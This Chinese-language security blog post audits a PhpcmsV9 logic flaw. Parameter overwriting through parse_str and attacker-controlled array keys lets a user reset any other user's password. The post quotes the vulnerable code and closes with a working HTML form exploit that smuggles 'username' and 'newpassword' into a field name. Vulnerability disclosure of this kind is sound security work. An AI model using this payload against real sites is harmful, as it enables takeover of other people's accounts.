您的位置 » 首页 » 代码审计,实用工具 » 代码审计:PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

代码审计:PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

发表于4年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2013年01月30日 | 文章热度:3,640 次 全屏阅读

显示不全请点击全屏阅读

其实我在发第一个漏洞的时候,就看到了
提到的通行证的代码:

parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);

在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。

我把它留给了你们。
不知道你们发现了它没有。

我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。

所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。

也就是

username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。

要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。

其实我们有这样的机会,看看代码,如下:

<public function auth_data($data) {
		$s = $sep = '';
		foreach($data as $k => $v) {
			if(is_array($v)) {
				$s2 = $sep2 = '';
				foreach($v as $k2 => $v2) {
						$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);
					$sep2 = '&';
				}
				$s .= $sep.$s2;
			} else {
				$s .= "$sep$k=".$this->_ps_stripslashes($v);
			}
			$sep = '&';
		}

		$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
		return $auth_s;
	}

可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。

举个例子

$a[aaa=a&bbb] = ‘a’;

会变成aaa=a&bbb=a

明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。

这个时候,我们可以再去看一个函数。

就在这个文件内:

public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {
		if($email && !$this->_is_email($email)) {
			return -4;
		}
		return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
	}

这是向通行证发了这样一个请求。

我们再跟到通信证代码里去看看,就会有所发现。

public function edit() {
//能省就省,太长了不是吗?

if($this->username) {
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
				$res = $this->db->update($data, array('username'=>$this->username));
			} else {
				file_put_contents('typeb.txt',print_r($data,1).$this->uid);
				$res = $this->db->update($data, array('uid'=>$this->uid));
			}

好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:

public function ps_member_edit($username, $email, $password=”, $newpassword=”, $uid=”, $random=”)

很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。

我当然找到了:
phpcms9/phpcms/modules/member/index.php

$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);

然后就没有然后了。

 

EXP:
<form method=”post” action=”http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1” id=”myform” name=”myform”>
<table width=”100%” cellspacing=”0″>
<tr>
<th width=”80″>邮箱:</th>       
<td><input name=”info[email]” type=”text” id=”email” size=”30″ value=”jj@jj.com“></td>
</tr>
<tr>
<th width=”80″>原密码:</th>       
<td><input name=”info[password]” type=”password” id=”password” size=”30″ value=”111111″></td>
</tr>
<tr>
<th>新密码:</th>
<td><input name=”info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]” type=”password” id=”newpassword” size=”30″ value=””></td>
</tr>
<th></th>
<td><input name=”dosubmit” type=”submit” id=”dosubmit” value=”提交”></td>
</tr>
</table>
</form>

Tags:

phpcmsv9漏洞, 代码审计,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/2144/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有1个筒子留下了脚印...

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)